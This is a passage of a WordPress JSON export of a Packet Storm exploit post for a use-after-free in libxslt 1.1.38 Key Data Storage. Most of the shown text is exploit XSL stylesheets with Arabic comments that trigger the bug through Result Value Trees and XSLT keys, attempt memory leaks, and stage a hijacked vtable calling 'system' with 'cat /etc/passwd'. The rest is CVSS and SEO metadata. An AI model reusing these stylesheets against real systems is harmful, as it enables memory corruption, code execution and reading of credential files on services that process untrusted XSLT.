\u0628\u0627\u0644\u0645\u0624\u0634\u0631\u0627\u062a &#8211;\\u003e\\n    \\u003cxsl:variable name=\\&#8221;holderRVT\\&#8221;\\u003e\\n        \\u003cholder\\u003e\\n            \\u003cxsl:for-each select=\\&#8221;document(&#8221;)\/\/xsl:variable[@name=&#8217;targetRVT&#8217;]\/\/*\\&#8221;\\u003e\\n                \\u003creference\\u003e\\n                    \\u003cxsl:value-of select=\\&#8221;name()\\&#8221;\/\\u003e:\\u003cxsl:value-of select=\\&#8221;text()\\&#8221;\/\\u003e\\n                \\u003c\/reference\\u003e\\n            \\u003c\/xsl:for-each\\u003e\\n        \\u003c\/holder\\u003e\\n    \\u003c\/xsl:variable\\u003e\\n    \\n    \\u003cxsl:key name=\\&#8221;exploitKey\\&#8221; match=\\&#8221;sensitive\/*\\&#8221; use=\\&#8221;preceding::*[name()=&#8217;password&#8217;]\\&#8221;\/\\u003e\\n    \\n    \\u003cxsl:template match=\\&#8221;\/\\&#8221;\\u003e\\n        \\u003cexploit\\u003e\\n            \\u003c!&#8211; \u062a\u0641\u0639\u064a\u0644 \u0627\u0644\u062b\u063a\u0631\u0629 &#8211;\\u003e\\n            \\u003cxsl:variable name=\\&#8221;trigger\\&#8221;\\u003e\\n                \\u003cxsl:for-each select=\\&#8221;document(&#8221;)\/\/xsl:variable[@name=&#8217;targetRVT&#8217;]\/\/token\\&#8221;\\u003e\\n                    \\u003cxsl:value-of select=\\&#8221;key(&#8216;exploitKey&#8217;, preceding::password\/text())\\&#8221;\/\\u003e\\n                \\u003c\/xsl:for-each\\u003e\\n            \\u003c\/xsl:variable\\u003e\\n            \\n            \\u003c!&#8211; \u0645\u062d\u0627\u0648\u0644\u0629 \u0627\u0644\u0648\u0635\u0648\u0644 \u0625\u0644\u0649 \u0627\u0644\u0630\u0627\u0643\u0631\u0629 \u0627\u0644\u0645\u062d\u0631\u0631\u0629 &#8211;\\u003e\\n            \\u003cleaked\\u003e\\n                \\u003cxsl:copy-of select=\\&#8221;document(&#8221;)\/\/xsl:variable[@name=&#8217;holderRVT&#8217;]\/\/reference\\&#8221;\/\\u003e\\n            \\u003c\/leaked\\u003e\\n        \\u003c\/exploit\\u003e\\n    \\u003c\/xsl:template\\u003e\\n    \\n    \\u003c\/xsl:stylesheet\\u003e\\n    \\n    =========******==================\\n    [+] Exploiting the Use-After-Free\\n    =================================\\n    \\u003c!&#8211; advanced_exploit.xsl &#8211;\\u003e\\n    \\u003c?xml version=\\&#8221;1.0\\&#8221;?\\u003e\\n    \\u003cxsl:stylesheet version=\\&#8221;1.0\\&#8221; xmlns:xsl=\\&#8221;http:\/\/www.w3.org\/1999\/XSL\/Transform\\&#8221;\\n                    xmlns:func=\\&#8221;http:\/\/exslt.org\/functions\\&#8221;\\n                    extension-element-prefixes=\\&#8221;func\\&#8221;\\u003e\\n    \\n    \\u003c!&#8211; \u062f\u0627\u0644\u0629 \u0644\u0625\u0646\u0634\u0627\u0621 \u0643\u0627\u0626\u0646\u0627\u062a \u0645\u062a\u0639\u062f\u062f\u0629 &#8211;\\u003e\\n    \\u003cfunc:function name=\\&#8221;func:createObjects\\&#8221;\\u003e\\n        \\u003cxsl:param name=\\&#8221;count\\&#8221;\/\\u003e\\n        \\u003cfunc:result\\u003e\\n            \\u003cobjects\\u003e\\n                \\u003cxsl:for-each select=\\&#8221;(\/\/node())[position() \\u0026lt;= $count]\\&#8221;\\u003e\\n                    \\u003cobject id=\\&#8221;{position()}\\&#8221;\\u003e\\n                        \\u003cfield1\\u003eAAAAAAAA\\u003c\/field1\\u003e\\n                        \\u003cfield2\\u003eBBBBBBBB\\u003c\/field2\\u003e\\n                        \\u003cfield3\\u003eCCCCCCCC\\u003c\/field3\\u003e\\n                        \\u003cfield4\\u003eDDDDDDDD\\u003c\/field4\\u003e\\n                    \\u003c\/object\\u003e\\n                \\u003c\/xsl:for-each\\u003e\\n            \\u003c\/objects\\u003e\\n        \\u003c\/func:result\\u003e\\n    \\u003c\/func:function\\u003e\\n    \\n    \\u003c!&#8211; \u0627\u0644\u0645\u062a\u063a\u064a\u0631\u0627\u062a \u0627\u0644\u0639\u0627\u0644\u0645\u064a\u0629 \u0627\u0644\u062a\u064a \u062a\u062a\u0641\u0627\u0639\u0644 \u0645\u0639 \u0628\u0639\u0636\u0647\u0627 &#8211;\\u003e\\n    \\u003cxsl:variable name=\\&#8221;vulnRVT1\\&#8221; select=\\&#8221;func:createObjects(50)\\&#8221;\/\\u003e\\n    \\u003cxsl:variable name=\\&#8221;vulnRVT2\\&#8221; select=\\&#8221;func:createObjects(50)\\&#8221;\/\\u003e\\n    \\u003cxsl:variable name=\\&#8221;vulnRVT3\\&#8221; select=\\&#8221;func:createObjects(50)\\&#8221;\/\\u003e\\n    \\n    \\u003c!&#8211; \u0645\u0641\u0627\u062a\u064a\u062d \u0645\u062a\u0639\u062f\u062f\u0629 \u0644\u0632\u064a\u0627\u062f\u0629 \u0641\u0631\u0635\u0629 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 &#8211;\\u003e\\n    \\u003cxsl:key name=\\&#8221;key1\\&#8221; match=\\&#8221;object\\&#8221; use=\\&#8221;preceding::object[1]\/@id\\&#8221;\/\\u003e\\n    \\u003cxsl:key name=\\&#8221;key2\\&#8221; match=\\&#8221;field1\\&#8221; use=\\&#8221;preceding::field1[1]\/text()\\&#8221;\/\\u003e\\n    \\u003cxsl:key name=\\&#8221;key3\\&#8221; match=\\&#8221;field2\\&#8221; use=\\&#8221;preceding::field2[1]\/text()\\&#8221;\/\\u003e\\n    \\n    \\u003cxsl:template match=\\&#8221;\/\\&#8221;\\u003e\\n        \\u003cresult\\u003e\\n            \\u003c!&#8211; \u062a\u0641\u0639\u064a\u0644 \u062c\u0645\u064a\u0639 \u0627\u0644\u0645\u0641\u0627\u062a\u064a\u062d &#8211;\\u003e\\n            \\u003cphase1\\u003e\\n                \\u003cxsl:for-each select=\\&#8221;$vulnRVT1\/\/object\\&#8221;\\u003e\\n                    \\u003cx\\u003e\\u003cxsl:value-of select=\\&#8221;key(&#8216;key1&#8217;, preceding::object[1]\/@id)\/field1\\&#8221;\/\\u003e\\u003c\/x\\u003e\\n                \\u003c\/xsl:for-each\\u003e\\n            \\u003c\/phase1\\u003e\\n            \\n            \\u003cphase2\\u003e\\n                \\u003cxsl:for-each select=\\&#8221;$vulnRVT2\/\/field1\\&#8221;\\u003e\\n                    \\u003cy\\u003e\\u003cxsl:value-of select=\\&#8221;key(&#8216;key2&#8217;, preceding::field1[1]\/text())\\&#8221;\/\\u003e\\u003c\/y\\u003e\\n                \\u003c\/xsl:for-each\\u003e\\n            \\u003c\/phase2\\u003e\\n            \\n            \\u003cphase3\\u003e\\n                \\u003cxsl:for-each select=\\&#8221;$vulnRVT3\/\/field2\\&#8221;\\u003e\\n                    \\u003cz\\u003e\\u003cxsl:value-of select=\\&#8221;key(&#8216;key3&#8242;, preceding::field2[1]\/text())\\&#8221;\/\\u003e\\u003c\/z\\u003e\\n                \\u003c\/xsl:for-each\\u003e\\n            \\u003c\/phase3\\u003e\\n            \\n            \\u003c!&#8211; \u0645\u062d\u0627\u0648\u0644\u0629 \u062a\u0633\u0631\u064a\u0628 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a &#8211;\\u003e\\n            \\u003cleak_attempt\\u003e\\n                \\u003cxsl:copy-of select=\\&#8221;$vulnRVT1\/\/object[field1=&#8217;AAAAAAAA&#8217;]\\&#8221;\/\\u003e\\n                \\u003cxsl:copy-of select=\\&#8221;$vulnRVT2\/\/field1[.=&#8217;AAAAAAAA&#8217;]\\&#8221;\/\\u003e\\n                \\u003cxsl:copy-of select=\\&#8221;$vulnRVT3\/\/field2[.=&#8217;BBBBBBBB&#8217;]\\&#8221;\/\\u003e\\n            \\u003c\/leak_attempt\\u003e\\n        \\u003c\/result\\u003e\\n    \\u003c\/xsl:template\\u003e\\n    \\n    \\u003c\/xsl:stylesheet\\u003e\\n    \\n    =========******==================\\n    [+] Exploiting the code\\n    =================================\\n    \\n    \\u003c!&#8211; code_execution.xsl &#8211;\\u003e\\n    \\u003c?xml version=\\&#8221;1.0\\&#8221;?\\u003e\\n    \\u003cxsl:stylesheet version=\\&#8221;1.0\\&#8221; xmlns:xsl=\\&#8221;http:\/\/www.w3.org\/1999\/XSL\/Transform\\&#8221;\\n                    xmlns:xslt=\\&#8221;http:\/\/xmlsoft.org\/XSLT\/\\&#8221;\\u003e\\n    \\n    \\u003c!&#8211; \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0644\u062a\u062d\u0642\u064a\u0642 arbitrary write &#8211;\\u003e\\n    \\u003cxsl:variable name=\\&#8221;gadgetRVT\\&#8221;\\u003e\\n        \\u003cgadgets\\u003e\\n            \\u003cvtable ptr=\\&#8221;0x41414141\\&#8221;\/\\u003e\\n            \\u003cfunction pointer=\\&#8221;0x42424242\\&#8221;\/\\u003e\\n            \\u003cshellcode\\u003ebin\/sh\\u003c\/shellcode\\u003e\\n            \\u003crop\\u003e0x43434343\\u003c\/rop\\u003e\\n        \\u003c\/gadgets\\u003e\\n    \\u003c\/xsl:variable\\u003e\\n    \\n    \\u003cxsl:variable name=\\&#8221;overflowRVT\\&#8221;\\u003e\\n        \\u003coverflow\\u003e\\n            \\u003cbuffer size=\\&#8221;256\\&#8221;\\u003e\\n                \\u003cxsl:text\\u003eAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\u003c\/xsl:text\\u003e\\n            \\u003c\/buffer\\u003e\\n            \\u003ctarget\\u003eBEFORE_FREE\\u003c\/target\\u003e\\n        \\u003c\/overflow\\u003e\\n    \\u003c\/xsl:variable\\u003e\\n    \\n    \\u003cxsl:key name=\\&#8221;hijackKey\\&#8221; match=\\&#8221;buffer\\&#8221; use=\\&#8221;preceding::target[1]\/text()\\&#8221;\/\\u003e\\n    \\n    \\u003cxsl:template match=\\&#8221;\/\\&#8221;\\u003e\\n        \\u003cexploit\\u003e\\n            \\u003c!&#8211; Trigger UAF &#8211;\\u003e\\n            \\u003ctrigger\\u003e\\n                \\u003cxsl:for-each select=\\&#8221;$overflowRVT\/\/buffer\\&#8221;\\u003e\\n                    \\u003cxsl:value-of select=\\&#8221;key(&#8216;hijackKey&#8217;, preceding::target[1]\/text())\\&#8221;\/\\u003e\\n                \\u003c\/xsl:for-each\\u003e\\n            \\u003c\/trigger\\u003e\\n            \\n            \\u003c!&#8211; \u0628\u0639\u062f \u0627\u0644\u062a\u062d\u0631\u064a\u0631\u060c \u0627\u0644\u0630\u0627\u0643\u0631\u0629 \u064a\u0645\u0643\u0646 \u0625\u0639\u0627\u062f\u0629 \u0627\u0633\u062a\u062e\u062f\u0627\u0645\u0647\u0627 &#8211;\\u003e\\n            \\u003creuse\\u003e\\n                \\u003c!&#8211; \u0645\u062d\u0627\u0648\u0644\u0629 \u0625\u0639\u0627\u062f\u0629 \u0645\u0644\u0621 \u0627\u0644\u0630\u0627\u0643\u0631\u0629 \u0627\u0644\u0645\u062d\u0631\u0631\u0629 \u0628\u0628\u064a\u0627\u0646\u0627\u062a\u0646\u0627 &#8211;\\u003e\\n                \\u003cxsl:variable name=\\&#8221;reuseRVT\\&#8221;\\u003e\\n                    \\u003chijacked\\u003e\\n                        \\u003cfake_vtable\\u003e0x58585858\\u003c\/fake_vtable\\u003e\\n                        \\u003cfake_function\\u003esystem\\u003c\/fake_function\\u003e\\n                        \\u003ccommand\\u003ecat \/etc\/passwd\\u003c\/command\\u003e\\n                    \\u003c\/hijacked\\u003e\\n                \\u003c\/xsl:variable\\u003e\\n                \\n                \\u003cxsl:copy-of select=\\&#8221;$reuseRVT\\&#8221;\/\\u003e\\n            \\u003c\/reuse\\u003e\\n        \\u003c\/exploit\\u003e\\n    \\u003c\/xsl:template\\u003e\\n    \\n    \\u003c\/xsl:stylesheet\\u003e\\n    \\n    \\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212323&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212323\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-02T19:40:42&#8243;,&#8221;description&#8221;:&#8221;libxslt Key Data Storage version 1.1.38 suffers from an improper handling of Result Value Trees RVTs when evaluating XSLT keys that can result in memory&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-28308","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 libxslt Key Data Storage 1.1.38 Use-After-Free \/ Memory Corruption_PACKETSTORM:212323 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=28308\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 libxslt Key Data Storage 1.1.38 Use-After-Free \/ Memory Corruption_PACKETSTORM:212323 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-02T19:40:42&#8243;,&#8221;description&#8221;:&#8221;libxslt Key Data Storage version 1.1.38 suffers from an improper handling of Result Value Trees RVTs when evaluating XSLT keys that can result in memory...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=28308\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-02T15:33:22+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"19 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28308#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28308\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 libxslt Key Data Storage 1.1.38 Use-After-Free \\\/ Memory Corruption_PACKETSTORM:212323\",\"datePublished\":\"2025-12-02T15:33:22+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28308\"},\"wordCount\":3709,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=28308#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28308\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28308\",\"name\":\"\ud83d\udcc4 libxslt Key Data Storage 1.1.38 Use-After-Free \\\/ Memory Corruption_PACKETSTORM:212323 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-02T15:33:22+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28308#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=28308\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28308#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 libxslt Key Data Storage 1.1.38 Use-After-Free \\\/ Memory Corruption_PACKETSTORM:212323\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 libxslt Key Data Storage 1.1.38 Use-After-Free \/ Memory Corruption_PACKETSTORM:212323 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=28308","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 libxslt Key Data Storage 1.1.38 Use-After-Free \/ Memory Corruption_PACKETSTORM:212323 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-02T19:40:42&#8243;,&#8221;description&#8221;:&#8221;libxslt Key Data Storage version 1.1.38 suffers from an improper handling of Result Value Trees RVTs when evaluating XSLT keys that can result in memory...","og_url":"https:\/\/zero.redgem.net\/?p=28308","og_site_name":"zero redgem","article_published_time":"2025-12-02T15:33:22+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"19 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=28308#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=28308"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 libxslt Key Data Storage 1.1.38 Use-After-Free \/ Memory Corruption_PACKETSTORM:212323","datePublished":"2025-12-02T15:33:22+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=28308"},"wordCount":3709,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=28308#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=28308","url":"https:\/\/zero.redgem.net\/?p=28308","name":"\ud83d\udcc4 libxslt Key Data Storage 1.1.38 Use-After-Free \/ Memory Corruption_PACKETSTORM:212323 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-02T15:33:22+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=28308#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=28308"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=28308#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 libxslt Key Data Storage 1.1.38 Use-After-Free \/ Memory Corruption_PACKETSTORM:212323"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/28308","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=28308"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/28308\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=28308"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=28308"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=28308"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}